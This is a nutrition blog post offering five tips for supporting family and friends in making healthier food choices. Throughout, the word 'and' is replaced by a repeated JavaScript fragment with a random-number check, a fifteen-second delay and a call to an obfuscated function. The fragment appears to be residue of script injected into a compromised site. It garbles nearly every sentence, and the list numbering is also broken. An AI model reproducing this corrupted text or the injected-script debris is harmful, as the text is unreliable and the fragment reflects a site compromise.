Getting Healthy: It Takes a Village

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>>7040409867_df9d472f22_zWritten By: Ms. ShLandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anda Burton, Owner of Balanced By Burton

Licensed/ Degreed Nutritionist , Diabetes Peer Educator, & Weight loss Expert

“5  Things to Help Support Your Partner, Family andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Friends Make Healthier Food Choices”

One important  question I ask my Nutrition clients is: Who do you receive the most support to meet  your food andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nutrition goals?  It may seem like a simple question, but it actually requires thought.  We all go through the days, the years of work andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and business lunches, birthdays, holidays, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and other social gatherings. We develop a  daily routine of food patterns, behaviors andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and habits.  Regardless of your age, sex, or lifestyle, your life revolves around food, day-in andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and day-out.  Whether you are young or old, rich or poor, healthy or not.  One thing I think everyone can agree on is that food, has the capacity to show how well we all show how much we love, care, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and have compassion for those in our circle.  I created this  list that may help anyone trying to support or get motivated to make healthy nutrition changes.  These tips may also help support a friend or loved one in their journey to nutrition wellness. Please share, if you care.

  1.  Help them seek the help of a Nutritionist or Registered Dietitian –  Just like any friend, let them know it is okay to get help.  They may need to discuss their food challenges with a Nutrition professional.  They can get the best educational information to assist them with the obstacles they face with food.  Nutritionist/ Registered Dietitians  are educated andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and trained to assist you in understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding your nutritional needs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and requirements for your specific health andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lifestyle.  There are educational requirements to become a Nutritionist or Registered Dietitian in most states.  Always remind them to consult with their MD before starting any new regimen.
  2.  Cook for yourself, friends andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and loved ones–  Cooking for people is the most beautiful andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and simple  symbol of love.  Cooking does not have to be a fancy gourmet dinner . Keep it simple.  Cooking for yourself,  is also a great way to build your skills andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and experiment with your taste buds.  If you have a large family, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and very busy, making a simple fresh salad, will add a special touch to a family meal.  If you are great at making a healthy homemade soup, make it for the family to have ready for the week.  If you want to remake a family recipe to a healthier version, do it.  Cooking andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and experimenting with foods andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nutritious recipes is a lot of fun andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and teaches a family a lot of valuable  skills, especially for young people andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and children.  Cooking involves learning, using andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and applying some of the basics in science, math, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and english, get them involved young andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it will be a healthy habit for a lifetime.
  3.  Beware of what you Read andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Share – Be sure to take time andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and read  andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and share credible nutrition related information andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and resources with your loved ones.  There are so many fad-diets, product-bloggers, weight loss claims andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and gimmicks. A  credible source will allow the reader to be able to read the writers credentials andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and educational  background  andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and  has licensed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and credentialing information  with the nutrition information.
  1.  Rethink your Grocery Shopping Goals – Take time to shop. Many people seem to have bought into the thought process andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mentality of: “Let me run in andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and run out of the grocery store, real quick.” Why?  Do we run in andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and run out, to buy a car, a home, an outfit for that special occasion , or a new pair of shoes?  The secret  that helps many people achieve a successful andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and healthy nutrition goals is they take time to shop, they take time to read, time  to study andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and make good, better, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the best  decisions about what they are shopping for andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and why. I teach my nutrition clients, their goal is optimal nutritional health.  Their food choices andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and time they use to make food decisions matters everyday, 365 days of the year.   
  2.  Talk about foods you like earlier – The conversations we have about food are very important.  Our loved ones andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and families often ask, “What’s for dinner?” or we ask “What do you want for dinner?” Having these conversations are great, but it is usually late, very late, because most of the time someone is already hungry.  My suggestion is to consider talking about some of your favorite vegetables, fruits andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and types of lean meats andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fish ahead of time.  Have the family get involved andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and have everyone write/text a list of their favorites.

Even though these may seem like little acts.  These tips go a long way when  someone or a family is trying to take a better direction in the food journey.  These are a start to making better decisions in their food andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nutritional health.  Eat well, Family!

 

 

 




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